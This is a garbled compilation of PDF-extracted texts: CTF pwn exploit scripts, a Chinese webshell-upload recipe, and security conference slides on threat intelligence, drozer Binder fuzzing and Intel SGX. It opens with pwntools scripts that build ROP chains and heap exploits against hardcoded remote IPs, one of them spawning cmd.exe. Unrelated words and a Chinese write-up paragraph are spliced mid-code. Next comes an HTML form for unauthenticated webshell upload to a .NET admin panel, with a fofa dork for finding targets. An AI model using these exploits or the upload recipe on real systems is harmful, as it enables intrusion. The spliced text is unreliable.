tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u64(a[pc:pc+8]))
tmp+='\n'
o.write(tmp)
pc+=8
continue
elif a[pc] == '\x0d':#pop
tmp = 'pop '
pc+=1
opl = ord(a[pc])&0xf0
if opl ==0x40:
tmp+= 'qword '
opt =ord(a[pc])&0xf
if opt == 0x06:#R
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
elif a[pc] == '\x0e':#push
tmp = 'push '
pc+=1
opl = ord(a[pc])&0xf0
if opl ==0x40:
tmp+= 'qword '
opt =ord(a[pc])&0xf
if opt == 0x06:#R
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
elif a[pc] == '\x10':#call
pc+=2
tmp ='call '
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
elif a[pc] == '\x11':#ret
tmp ='ret\n'
o.write(tmp)
pc+=2
continue
elif a[pc] == '\x20':#syscall
o.write('syscall\n')
pc+=2
continue
elif a[pc]== '\x12':#cmp
tmp = 'cmp '
pc+=1
opl = ord(a[pc])&0xf0
if opl == 0x10:
tmp +='byte '
opt =ord(a[pc])&0xf
if opt == 0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u8(a[pc:pc+1]))
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opl == 0x20:
tmp +='word '
opt =ord(a[pc])&0xf
if opt == 0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u16(a[pc:pc+2]))
tmp+='\n'
o.write(tmp)
pc+=2
continue
if opl == 0x30:
tmp +='dword '
opt =ord(a[pc])&0xf
if opt == 0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u32(a[pc:pc+4]))
tmp+='\n'
o.write(tmp)
pc+=4
continue
if opl == 0x40:
tmp +='qword '
opt =ord(a[pc])&0xf
if opt == 0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u64(a[pc:pc+8]))
tmp+='\n'
o.write(tmp)
pc+=8
continue
if a[pc] == '\x13':
tmp = 'jmp '
pc+=1
opl = ord(a[pc])&0xf0
if opl == 0x10:
tmp +='byte '
opt =ord(a[pc])&0xf
if opt == 0x07:#I
pc+=1
tmp += '$+'
tmp+=hex(u8(a[pc:pc+1]))
tmp+='\n'
o.write(tmp)
pc+=1
continue
if a[pc] == '\x14':
tmp = 'je '
pc+=1
opl = ord(a[pc])&0xf0
if opl == 0x10:
tmp +='byte '
opt =ord(a[pc])&0xf
if opt == 0x07:#I
pc+=1
tmp += '$+'
tmp+=hex(u8(a[pc:pc+1]))
tmp+='\n'
o.write(tmp)
pc+=1
continue
if a[pc] == '\x15':
tmp = 'jne '
pc+=1
opl = ord(a[pc])&0xf0
if opl == 0x10:
tmp +='byte '
opt =ord(a[pc])&0xf
if opt == 0x07:#I
pc+=1
结果:
tmp += '$+'
tmp+=hex(u8(a[pc:pc+1]))
tmp+='\n'
o.write(tmp)
pc+=1
continue
if a[pc] == '\x18':
tmp = 'jl '
pc+=1
opl = ord(a[pc])&0xf0
if opl == 0x10:
tmp +='byte '
opt =ord(a[pc])&0xf
if opt == 0x07:#I
pc+=1
tmp += '$+'
tmp+=hex(u8(a[pc:pc+1]))
tmp+='\n'
o.write(tmp)
pc+=1
continue
if a[pc] == '\x19':
tmp = 'jnl '
pc+=1
opl = ord(a[pc])&0xf0
if opl == 0x10:
tmp +='byte '
opt =ord(a[pc])&0xf
if opt == 0x07:#I
pc+=1
tmp += '$+'
tmp+=hex(u8(a[pc:pc+1]))
tmp+='\n'
o.write(tmp)
pc+=1
continue
else:
pc+=1
continue
mov qword r0, 0x45
call r0
mov qword r1, 0xa756f5920656553
push qword r1
mov qword r0, 0x2
mov qword r1, 0x1
mov qword r2, sp
mov qword r3, 0x8
syscall
GG
##0x45::::
mov byte r0, 0x2
mov byte r1, 0x1
mov byte r2, 0x0
mov byte r3, 0x23
syscall
write(1,data[0],0x23)
mov byte r0, 0x2
mov byte r1, 0x1
mov byte r2, 0x28
mov byte r3, 0xb
syscall
write(1,data[0x28],0xb)
mov byte r0, 0x1
mov byte r1, 0x0
mov dword r2, 0x40
mov qword r3, 0x1
syscall
read(0,data[0x40],1)
mov byte r8, data[0x40]
cmp byte r8, 0x51#Q
je byte $+0x2
GG
mov byte r0, 0x1
mov byte r1, 0x0
mov byte r2, 0x40
mov byte r3, 0x1
syscall
mov byte r8, data[0x40]
cmp byte r8, 0x57#W
jne byte $+0x3
jmp byte $+0x2
GG
mov qword data[0x40], r9
mov byte r0, 0x1
mov word r1, 0x0
mov word r2, 0x40
mov byte r3, 0x1
syscall
read(0,data[0x40],1)
mov byte r8, data[0x40]
xor byte r8, 0x77
cmp byte r8, 0x26#Q
jne byte $+0xc9
mov qword data[0x40], r9
mov qword data[0x48], r9
mov qword data[0x50], r9
mov qword data[0x58], r9
mov qword data[0x60], r9
mov byte r0, 0x1
mov word r1, 0x0
mov word r2, 0x40
mov byte r3, 0x21
syscall
read(0,data[0x40],0x21)
xor qword r8, r8
mov qword r8, data[0x40]
mov qword r9, 0x427234129827abcd
xor qword r8, r9
cmp qword r8, 0x10240740dc179b8a
je byte $+0x2 #G00DR3VR
GG
xor qword r8, r8
mov qword r8, data[0x48]
mov qword r9, 0x127412341241dead
xor qword r8, r9
cmp qword r8, 0x213a22705e70edfa
je byte $+0x2##W31LD0N3
GG
xor qword r8, r8
mov qword r8, data[0x50]
mov qword r9, 0x8634965812abc123
xor qword r8, r9
cmp qword r8, 0xa75ae10820d2b377
je byte $+0x2#Try2Pwn!
GG
xor qword r8, r8
mov qword r8, data[0x58]
mov qword r9, 0x123216781236789a
xor qword r8, r9
cmp qword r8, 0x5d75593f5d7137dd
je byte $+0x2#GOGOGOGO
GG
mov byte r0, 0x2
mov byte r1, 0x1
mov byte r2, 0x34
mov byte r3, 0x6
syscall
read(1,data[0x34],6)
push qword bp
mov qword bp, sp
sub qword sp, 0x100
mov qword r4, sp
mov qword r5, 0xa214f474f4721
push qword r5
mov qword r5, 0x574f4e54494e5750
push qword r5
mov qword r5, sp
mov byte r0, 0x2
mov byte r1, 0x1
mov qword r2, sp
mov byte r3, 0xf
syscall
write(1,sp,0xf)#PWNITNOW!GOGO!
mov byte r0, 0x1
mov byte r1, 0x0
mov qword r2, r4
mov qword r3, 0x800
syscall
read(0,sp,0x800)
cmp qword r0, 0x0
jnl byte $+0x2
GG
mov qword r3, r0
mov byte r1, 0x1
mov qword r2, r4
mov qword r0, 0x2
syscall
write(1,sp,len)
mov qword sp, bp
pop qword bp
脚本
ret
GG
GG
syscall
syscall
from pwn import *
pw ='QWQG00DR3VRW31LD0N3Try2Pwn!GOGOGOGO'
p = process(['./emulator','./test.bin'])
#p = remote('47.94.20.173', 32142)
p.recvuntil('password:')
p.sendline(pw)
p.recvuntil('PWNITNOW!GOGO!')
pop_r0 = 0x2f5 #0d460011
pop_r1 = 0x377 #0d460111
pop_r2 = 0x45c #0d460211
pop_r3 = 0x4e1 #0d460311
sys_call = 0x5b1# 200811
sys_open = 0x6ed# 200a11
pay = 'a'*0x108
pay +=p64(pop_r0)
pay +=p64(1)
pay +=p64(pop_r1)
pay+=p64(0)
pay+=p64(pop_r2)
pay+=p64(0x60)
pay+=p64(pop_r3)
pay+=p64(0x10)
pay+=p64(sys_call)
pay +=p64(pop_r0)
pay +=p64(0)
pay +=p64(pop_r1)
pay+=p64(0x60)
pay+=p64(pop_r2)
pay+=p64(0x0)
pay+=p64(sys_open)
pay +=p64(pop_r0)
pay +=p64(1)
pay +=p64(pop_r1)
pay+=p64(4)
pay+=p64(pop_r2)
pay+=p64(0x70)
pay+=p64(pop_r3)
pay+=p64(0x30)
pay+=p64(sys_call )
pay +=p64(pop_r0)
pay +=p64(2)
pay +=p64(pop_r1)
pay+=p64(1)
wingame
pay+=p64(pop_r2)
pay+=p64(0x70)
pay+=p64(pop_r3)
pay+=p64(0x30)
pay+=p64(sys_call )
p.sendline(pay)
raw_input('PRESS ANY KEY')
p.sendline('flag\x00')
p.interactive()
from pwn import *
#context.log_level="debug"
def add(size,note):
p.sendlineafter(": ","1")
p.sendlineafter(":",str(size))
p.sendafter(":",note)
def delete(index):
p.sendlineafter(": ","2")
p.sendlineafter(":",str(index))
def edit(index,note):
p.sendlineafter(": ","3")
p.sendlineafter(":",str(index))
p.sendafter(":",note)
def show(index):
p.sendlineafter(": ","4")
p.sendlineafter(":",str(index))
#dd 0C664D8
#6AA0D07E
#p = Process("WinGame.exe")
p=remote("120.55.89.74",12345)
#p.spawn_debugger(breakin=False)
p.sendlineafter(": ","1")
for i in range(10):
add(0x100,"a"*0x100+"\n")
#edit(0,"1"*0x108)
p.sendlineafter(": ","4")
p.sendlineafter("\n","1")
for i in range(9):
p.sendlineafter(": ","4")
p.sendlineafter("\n","0")
edit(9,"a"*0x108)
edit(9,"a"*0x108+"\x40\x01\n")
p.sendlineafter(": ","5")
p.sendlineafter("\n","1")
p.sendlineafter(":","131")
s=p.recv(1)+p.recv(1)
print s.encode("hex")
addr = ord(s[0])*0x10000+ord(s[1])*0x1000000
print "exec base:",hex(addr)
p.sendlineafter(": ","5")
p.sendlineafter("\n","1")
p.sendlineafter(":","132")
s1=p.recv(1)+p.recv(1)
print s1.encode("hex")
p.sendlineafter(": ","5")
p.sendlineafter("\n","1")
p.sendlineafter(":","133")
s2=p.recv(1)+p.recv(1)
print s2.encode("hex")
key=s1+s2
print "key:",hex(u32(key))
p.sendlineafter(": ","6")
p.sendlineafter(": ","2")
p.sendlineafter(":",key)
add(0x20,"\n")
add(0x20,"\n")
add(0x20,"\n")
add(0x20,"\n")
add(0x20,"\n")
add(0x20,"\n")
delete(2)
delete(4)
edit(2,p32(addr+0x64e4)+p32(addr+0x64e8)+"\n")
delete(1)
edit(2,p32(addr+0x64f0)+p32(0x100)+p32(addr+0x4034)+p32(0x100)+"\n")
show(3)
p.recvuntil(":")
ntdll_addr = u32(p.recv(4))-0x66e90
print "ntdll addr:",hex(ntdll_addr)
edit(2,p32(ntdll_addr+0x120c40-52)+p64(0x100)+"\n")
show(3)
p.recvuntil(":")
peb_addr = u32(p.recv(3)+"\x00")-0x21c
print "peb addr:",hex(peb_addr)
teb_addr = peb_addr+0x3000+6
edit(2,p32(addr+0x6018)+p32(0x100)+"\n")
edit(3,p32(0xffff)*4+"\n")
edit(2,p32(teb_addr)+p64(0x100)+"\n")
show(3)
p.recvuntil(":")
stack_addr = u32(("\x00\x00"+p.recvuntil("\r\n")[:-2]).ljust(4,"\x00"))
print "stack addr:",hex(stack_addr)
edit(2,p32(addr+0x414c)+p64(0x100)+"\n")
show(3)
p.recvuntil(":")
ucrt_addr = u32(p.recv(4))-0xb89f0
print "ucrt addr:",hex(ucrt_addr)
main_ret = 0
context.log_level="debug"
for i in range(300,0x1000):
print i
edit(2,p32(stack_addr-i*4)+p64(0x100)+"\n")
show(3)
p.recvuntil(":")
tmp = p.recvuntil("\r\n")[:-2].ljust(4,"\x00")[:4]
if u32(tmp) == addr+0x239a:
main_ret = stack_addr-i*4
break
easypwn
题目关闭了fastbin,存在溢出off-by-null漏洞
首先构造overlap,部分写进行unsorted bin attack,将global_max_fast改写
利用堆中残存的libc地址结合fastbin attack打stdout进行泄漏,最后打malloc_hook即可
print "main ret:",hex(main_ret)
edit(2,p32(main_ret)+p64(0x100)+"\n")
edit(3,p32(ucrt_addr+0xefda0)+p32(0)+p32(main_ret+0xc)+"cmd.exe\x00\n")
p.sendlineafter(": ","5")
p.interactive()
from pwn import *
context.log_level="debug"
def add(size):
p.sendlineafter(":\n",str(1))
p.sendlineafter(":\n",str(size))
def edit(index,note):
p.sendlineafter(":\n",str(2))
p.sendlineafter(":\n",str(index))
p.sendafter(":\n",note)
def delete(index):
p.sendlineafter(":\n",str(3))
p.sendlineafter(":\n",str(index))
for i in range(100):
try:
p=remote("39.101.184.181",10000)
#p=process("./easypwn")
add(0x68)
add(0x68)
add(0x68)
add(0x68)
add(0xf8)
add(0x68)
add(0x18)
add(0x18)
delete(0)
edit(3,"a"*0x60+p64(0x1c0))
delete(6)
delete(4)
add(0x68)#0
add(0x68)#4
add(0x68)#6
edit(3,"a"*8+"\xe8\x37\n")
add(0x168)
delete(2)
delete(1)
edit(4,"\x00\n")
edit(0,"\xdd\x25\n")
add(0x68)#1
add(0x68)#2
add(0x68)#9
edit(9,"\x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "\x00\n")
p.recvuntil("\x7f\x00\x00")
addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
print hex(addr)
p.sendline("3")
p.sendlineafter(":\n","2")
edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"\n")
add(0x68)
add(0x68)
edit(10,"\x00"*0x13+p64(addr+0xf0364)+"\n")
#gdb.attach(p)
add(0x10)
p.interactive()
except:
print "fail" | pdf |
Building a Threat Intelligence
Program
Michael Smith, CISSP-ISSEP
APJ Security CTO
[email protected]
@rybolov
©2015 AKAMAI | FASTER FORWARDTM
Straw Poll: What Is Threat Intelligence?
Data feeds for purchase
Big Data, Big Data, Big Data
OSINT
Output from a SIEM
Tools dumps
Executive reports
Reporting from your vendors
Blogs and RSS
Things that if you ignore you’re now negligent
Too much noise, not enough signal
The greatest thing since Hainanese Chicken Rice
©2015 AKAMAI | FASTER FORWARDTM
Akamai CSIRT
Customer Security Incident Response Team (CSIRT):
Incident Response for Akamai customers
HTTP(s), DNS, and the infrastructure
Threat briefs
Out of scope: APT, endpoints, email, authentication
We collect and provide information:
OSINT
Coordination with peer CERT/SIRT/SOC
Threat intelligence
Discussions with policy-makers
Customer outreach (internal and direct)
©2015 AKAMAI | FASTER FORWARDTM
Qualities of Good Intelligence
Intelligence
Accurate
Timely
Relevant
©2015 AKAMAI | FASTER FORWARDTM
How the Intelligence World Does It
Intelligence Requirements
(questions to answer)
Indicators
(which data points can
prove/disprove the question)
Coverage
(how to find out the data points)
©2015 AKAMAI | FASTER FORWARDTM
Akamai CSIRT’s Intelligence Requirements
Which customers need our help as incident responders?
• Which active or future campaigns target our customers?
• Have any customers been impacted by an attack?
• Are their any attacks that could spread to other targets?
Are there any additional things that we can do to protect our
customers?
• Are there any new tools that evade our controls set?
• Are there any attack indicators that we should be looking for temporarily
during an event?
• Have we seen any new types of attacks?
• Are there activities associated with particular attacks that we should also look
for?
©2015 AKAMAI | FASTER FORWARDTM
My Sources
Incident response activities: alerts and investigations
OSINT
• Scumblr
• Site scraping
• “Is it a customer?” tool
Email lists
ISACs
• Financial Services
• Communications
Big Data
• WAF
• Firewall
Selective data feeds
©2015 AKAMAI | FASTER FORWARDTM
The Big Ugly Web Attack Tool Search
(xss | "cross site scripting" | csrf | xsrf | "cross site request
forgery" | sqli | "sql injection" | "remote code execution" | RFI |
"remote file include" | LFI | "local file include" | "command
injection") (site:pastebin.com | site:gist.github.com)
©2015 AKAMAI | FASTER FORWARDTM
OSINT Search for Impacts
site:google.com/newspapers (site|website|web)
(hacktivist|hacked|ddos|defaced|"data breach") –”to death”
©2015 AKAMAI | FASTER FORWARDTM
Then We Started Using Traffic Light Protocol
©2015 AKAMAI | FASTER FORWARDTM
Two Views of Sharing Communities
Hub and Spoke
ISAOs
Regulators
Government-sponsored
Industry-specific
Peer to Peer
Event-centric
Less-developed
Cross-industry
Cross-discipline
©2015 AKAMAI | FASTER FORWARDTM
How We Share Threat Intelligence
Sources
Official
advisories
and
bulletins
Quarterly
reports
Internal
email list
External
community
email lists
Corporate
blog
“Hidden” in
tools
©2015 AKAMAI | FASTER FORWARDTM
Case Study: Login Abuses
Actively worked October 2012-May 2013 and then again later
35+ customers initially affected
Created TLP-Red advisory with all the details
Internal release to security operators
Removed “naughty bits” to make it TLP-Green
Outreach to industries
Corporate blog
©2015 AKAMAI | FASTER FORWARDTM
Putting it all Together
Start with what you know now
Questions to answer
Use existing tools
Get coverage that you can process
Join/build a community with your peers
Share what you can
©2015 AKAMAI | FASTER FORWARDTM
Thank You!
[email protected]
@rybolov | pdf |
某⼤厅后台未授权上传
<html><head>
<meta charset="utf-8">
<title>.net版本活动⼤厅通杀本地上传webshell脚本</title></head><body>
<form action="https://⽬标域名/后台后
缀/UpLoad/Savelmagesmethd="postenctype=multipart/form-data">
<label for="file">⽂件名:</label>
<input type="file" name="Filedata" id="Filedata"> <br><input type="submit"
name="submit" value="提交"></form>
</body></html>
说明
fofa 语法:"/Home/QueryApply/?activityld="
获取后台地址:域名/+user/就⾃动跳转对应域名
填⼊地址,打开上传脚本,选取MM⽂件上传,返回成功地址秒shell
影响因素:宝塔,安全狗,或者部分限制不解析,⾃⾏更改⽂件后缀等***绕过
打击⽹赌犯罪,替天⾏道。 | pdf |
Binder Fuzz based on drozer &
Some interesting Vulnerabilities sharing
(@0xr0ot)
Kcon Beijing 2016
[email protected]
Who am I
• ID:0xr0ot(not 0xroot)
• Security researcher(2
years)
• Mainly focus on
Android security
• Always like basketball
Agenda
• drozer introduction
• Binder fuzz model
• Case share
• How to exploit
Drozer Architecture
• console
• agent
• server
Functionality
• Exploit
• Scanner
Metasploit?
Design Principles
• Reflection
• Class loading
Drozer mode
• direct mode
• infrastructure mode
Commands
drozer server start --port port
drozer exploit build
exploit.usb.socialengineering.usbdebugging --server ip --
credentials username password
drozer console connect --server ip:port --password
Writing a module
Binder fuzz
• fuzz intent
• fuzz service call
Why use drozer?
I am familiar with it,XD!
Fuzz model
• drozer module(core)
• external python script(control logic)
All in the one drozer module is OK
Case Share
• LockScreen bypass(or clear)
• Fake shutdown (eavesdropping)
• Capability leak
• System Dos
LockScreen bypass(CVE-2016-3749)
CVE-2016-3749 Details
Windfall
CVE-2016-3749 Patch
My first high severity issue
Fake Shutdown(eavesdropping)
• Samsung
Capability Leak
• nexus series car mode
• samsung change theme
Video demonstration
System Dos(restart)
• nexus(3)
Video demonstration.
• samsung(11)
Samsung
Acknowledgements
Good News
How to exploit(system service
vulnerability)
• use AIDL file
• use java reflection
• native layer
• shell script
Exploit-use AIDL file
• The Android SDK tools will help to generate an interface in the
Java programming language, based on the .aidl file you import.
• “The ***.aidl file not found”,but it’s just there.If the similar error
occurs,you can write the java code manually.
Reference:
Android Bound Service(by )
http://drops.wooyun.org/mobile/13676
Exploit-use AIDL file
Exploit-use reflection
• The nature is the same as use AIDL file.
• It doesn’t need .AIDL file.
Exploit-native
Exploit-shell script
• clear.sh
• key code:
Runtime runtime = Runtime.getRuntime();
Process proc = runtime.exec(command);
Summary
• AIDL:It is easy to see the nature of the
vulnerability.
• java reflection: It is simple and convenient.
• native:It needs android source environment.
• shell script:It is simple. | pdf |
MesaTEE SGX:借助 Intel SGX 重新
定义人工智能和大数据分析
Yu Ding
百度 X-Lab 安全研究员
May-29-2019
自我介绍
• https://dingelish.com
• https://github.com/dingelish
• https://github.com/baidu/rust-sgx-sdk
•
在百度 X-Lab 担任安全研究员
•
Rust 爱好者
•
漏洞利用/缓解领域博士
•
从事 Rust-SGX 项目
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
适用于 隐私保护 计算的 Intel SGX
• Intel SGX 背景
• 基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
Hybrid Memory Safety
• 经验法则
• Intel SGX 实践
塑造 安全 并且 可信 的人工智能/大数据分析框架
• 可信到底指什么?
• 使用 Intel SGX 实现可信赖的人工智能和大数据分析
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
适用于 隐私保护 计算的 Intel SGX
• Intel SGX 背景
• 基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
Hybrid Memory Safety
• 经验法则
• Intel SGX 实践
塑造 安全 并且 可信 的人工智能/大数据分析框架
• 可信 (Trustworthy) 到底指什么?
• 使用 Intel SGX 实现可信赖的人工智能和大数据分析
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
•
云供应商
•
数据所有者
•
算法提供商(也可以是数据所有者)
•
相互之间无法信任
•
数据离开所有者后依然可以 保证 能够 受到控制
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
•
解决方案概述
•
使用 Intel SGX 建立信任和 TEE
•
安全可信的身份验证/授权
•
安全可信的渠道
•
安全可信的执行环境
•
使用 hybrid memory safety 构建系统
•
可信赖的人工智能和大数据分析
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
适用于 隐私保护 计算的 Intel SGX
• Intel SGX 背景
• 基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
Hybrid Memory Safety
• 经验法则
• Intel SGX 实践
塑造 安全 并且 可信 的人工智能和大数据分析框架
• 可信 (Trustworthy) 到底指什么?
• 使用 Intel SGX 实现可信赖的人工智能和大数据分析
Intel SGX 背景
面对高特权代码攻击,应用无法受到保护
Intel® Software Guard Extensions(Intel® SGX)
Frank McKeen, Intel Labs, April 15, 2015
Intel SGX 背景
使用/不使用 Intel SGX Enclaves 时的攻击面
Intel® Software Guard Extensions(Intel® SGX)
Frank McKeen, Intel Labs, April 15, 2015
Intel SGX 背景
地址转换过程中的内存访问控制
Intel® Software Guard Extensions(Intel® SGX)
Frank McKeen, Intel Labs, April 15, 2015
Intel SGX 背景
机密性和完整性保证
Intel® Software Guard Extensions(Intel® SGX)
Frank McKeen, Intel Labs, April 15, 2015
Intel SGX 背景
测量和证实
验证测量/签名方
通过远程证实( Remote Attestation )建立信任
Sealing and Attestation in Intel® Software Guard Extensions (SGX)
Rebekah Leslie-Hurd, Intel® Corporation, January 8th, 2016
Intel SGX 背景
远程证实
Figure is from “A First Step Towards Leveraging Commodity
Trusted Execution Environments for Network Applications”,
Seongmin Kim et al.
Target
Enclave
Quoting
Enclave
Challenger
Enclave
SGX CPU
Host platform
Remote platform
SGX CPU
1. Request
2. Calculate
MAC
3. Send MAC
6. Send signature
CMAC
Hash
4. Verify
5. Sign with group key [EPID]
Intel SGX 背景
Intel SGX 的简单总结
•
为任何应用程序提供保密能力
•
使用全新处理器指令提供该能力
•
应用程序可支持多个飞地(Enclave)
•
提供完整性和机密性
•
抵御硬件攻击
•
防止软件访问,包括高特权软件和 SMM
•
应用程序在操作系统环境内部运行
•
应用程序开发者的学习曲线更低
•
面向所有开发者开放
Intel SGX 背景
基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
•
Intel SGX 的硬件局限
•
无 syscall
•
无 RDTSC
•
无 CPUID
•
128 Mbyte 的 EPC 内存。页面错误驱动的内存交换速度缓慢
•
无 mprotect
Intel SGX 背景
基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
•
Intel SGX 的硬件局限 => 挑战
•
无 syscall
•
无 fs/net/env/proc/thread/…
•
无 RDTSC
•
无可信任的时间,如何验证 TLS 证书?
•
无 CPUID
•
为了改善性能,某些 Crypto 库需要 CPUID
•
128 Mbyte 的 EPC 内存。页面错误驱动的内存交换速度缓慢
•
人工智能?大数据分析?
•
无 mprotect:JIT?AOT?
Intel SGX 背景
基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
•
Intel SGX 的硬件局限 => 挑战
•
无 syscall
•
无 fs/net/env/proc/thread/…
•
无 RDTSC
•
无可信任的时间,如何验证 TLS 证书?
•
无 CPUID
•
为了改善性能,某些 Crypto 库需要 CPUID
•
128 Mbyte 的 EPC 内存。页面错误驱动的内存交换速度缓慢
•
人工智能?大数据分析?
•
无 mprotect:JIT?AOT?
Intel SGX 背景
基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
•
Intel SGX 的软件局限
•
存在内存 Bug
•
内存安全?
•
溢出?
•
UAF?
•
数据争用?
•
ROP?
COOKIE
BUFFER
BUFFER
BUFFER
SAVED %ebp
RETURN ADDR
Intel SGX 背景
基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
•
Intel SGX 的软件局限
•
存在内存 Bug
•
内存安全?
•
溢出?
•
UAF?
•
数据争用?
•
ROP?
COOKIE
BUFFER
BUFFER
BUFFER
SAVED %ebp
RETURN ADDR
Intel SGX 背景
基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
•
简要总结
•
挑战
•
在 有限的基础 前提下,在 Intel SGX 环境中重新实现一套软件栈
•
需要 保证内存安全性
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
适用于 隐私保护 计算的 Intel SGX
• Intel SGX 背景
• 基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
Hybrid Memory Safety
• 经验法则
• Intel SGX 实践
塑造 安全 并且 可信 的人工智能和大数据分析框架
• 可信 (Trustworthy) 到底指什么?
• 使用 Intel SGX 实现可信赖的人工智能和大数据分析
混合内存安全性 Hybrid Memory Safety
由编程语言保证内存安全性
混合内存安全性 Hybrid Memory Safety
软件栈
•
内核
•
系统调用
•
Libc库、系统库
•
运行时库
•
应用程序
混合内存安全性 Hybrid Memory Safety
软件栈
•
内核
•
系统调用
•
Libc库、系统库
•
运行时库
•
应用程序
混合内存安全性 Hybrid Memory Safety
混合内存安全新——经验法则
•
不安全的组件绝对不允许污染安全的组件,对公开的 API 和数据结
构,这一点尤为重要。
•
不安全的组件应当尽可能少,并与安全的组件解耦。
•
部署过程中,不安全的组件应明确标记出来并准备对其升级。
混合内存安全性 Hybrid Memory Safety
混合内存安全性——以 MesaPy 为例
混合内存安全性 Hybrid Memory Safety
混合内存安全性——SGX 中的实践
Linux
Rust-SGX
内核
不适用
系统调用
OCALL(静态控制)
Libc
Intel – SGX tlibc
运行时
Rust-SGX sgx_tstd/…
混合内存安全性 Hybrid Memory Safety
混合内存安全性——SGX 中的实践
Enclave Boundary
sgx_tlibc
sgx_trts
sgx_tcrypto
sgx_tservices
sgx_tstd
sgx_trts
sgx_tcrypto
sgx_tservices
crypto_helper
ring/rustls/webpki
tvm-runtime
Remote attestation
Data storage/trans
Interpreter
Rusty-machine
gbdt-rs
tvm worker
混合内存安全性 Hybrid Memory Safety
混合内存安全性——SGX 中的实践
liballoc
libstd
libcore
libc
libpanic_abort
libunwind
librustc_demangle
compiler_builtins
glibc
#![no_std]
#![no_core]
混合内存安全性 Hybrid Memory Safety
混合内存安全性——SGX 中的实践
liballoc
libstd
libcore
libc
libpanic_abort
sgx_unwind librustc_demangle
compiler_builtins
sgx_tstdc
sgx_trts
…
#![no_std]
#![no_core]
sgx_libc
sgx_alloc
sgx_tprotected_fs
MesaTEE SGX
借助 Intel SGX 重新定义人工智能和大数据分析
适用于 隐私保护 计算的 Intel SGX
• Intel SGX 背景
• 基于 Intel SGX 构建隐私保护计算软件栈所面临的挑战
Hybrid Memory Safety
• 经验法则
• Intel SGX 实践
塑造 安全 并且 可信 的人工智能和大数据分析框架
• 可信 (Trustworthy) 到底指什么?
• 使用 Intel SGX 实现可信赖的人工智能和大数据分析
塑造安全并且可信的人工智能和大数据分析框架
可信 (Trustworthy) 到底指什么?
可信 (Trustworthy) 到底指什么?
塑造安全并且可信的人工智能和大数据分析框架
可信 (Trustworthy) 到底指什么?
塑造安全并且可信的人工智能和大数据分析框架
可信赖计算(Trustworthy Computing)一词代表具备固
有安全性、可用性以及可靠性的计算系统。这一概念尤
其与 微软 曾在 2002 年发起的一项同名举措密切相关。
塑造安全并且可信的人工智能和大数据分析框架
可信到底指什么?
可信任计算 (Trusted Computing)
该术语源自可信任系统这一领域,但有着特殊含义。对于可信任计算,
计算机将始终如一地按照 预期 方式运作,而具体的运作行为则可由计
算机硬件和软件加以控制。
塑造安全并且可信的人工智能和大数据分析框架
使用 Intel SGX 实现可信的人工智能和大数据分析
Gradient-Boosting 决策树
如何实现可信?
•
所运行的实例是通过我想要运行的静态库启动的
•
该静态库是通过我想要使用的代码生成的
•
我所用的代码“诚实地”实现了算法
•
编译器没有作恶
•
数据以安全的方式传输
塑造安全并且可信的人工智能和大数据分析框架
使用 Intel SGX 实现可信的人工智能和大数据分析
Gradient-Boosting 决策树
gbdt-rs
•
~2000 sloc of Rust – Self explain
•
良好的备注/文档
•
相比 XGBoost on 1thread 速度快 7 倍
•
与 SGX 无缝配合
•
简洁干净的 软件栈!
9.9
1.5
11.5
1.9
0
2
4
6
8
10
12
14
500K
samples with
1000 features
100K
samples with
600 features
GB
内存用量
rust
c++
195.60
9.94
241.42
11.89
0.00
50.00
100.00
150.00
200.00
250.00
300.00
500K
samples with
1000
features
100K
samples with
600 features
Seconds
训练时间
rust
c++
塑造安全并且可信的人工智能和大数据分析框架
使用 Intel SGX 实现可信的人工智能和大数据分析
MesaPy SGX
•
移植具备强边界检查的 PyPy
•
禁用所有系统调用
•
可定制的运行时 – 有限的 ocall
•
消除非决定性
•
形式化验证
•
使用 Rust crate 替代不安全的库
塑造安全并且可信的人工智能和大数据分析框架
使用 Intel SGX 实现可信的人工智能和大数据分析
塑造安全并且可信的人工智能和大数据分析框架
使用 Intel SGX 实现可信的人工智能和大数据分析
我们正与 百度 XuperData 在应用程序方面进行合作
塑造安全并且可信的人工智能和大数据分析框架
Anakin-SGX
0
5
10
15
20
25
30
35
40
SGX
X86-64
NIN_ImageNet (1000 images)
User
Sys
问答
MesaTEE SGX: 借助 Intel SGX 重新定
义人工智能和大数据分析
Yu Ding
百度 X-Lab 安全研究员 | pdf |
Confluence SSTI via Velocity
0x00 前言
之前的文章《CodeQL在Shiro550中的应用》的小结里有写到自己关于 漏洞分析 的浅薄理解, 机械地跟进代
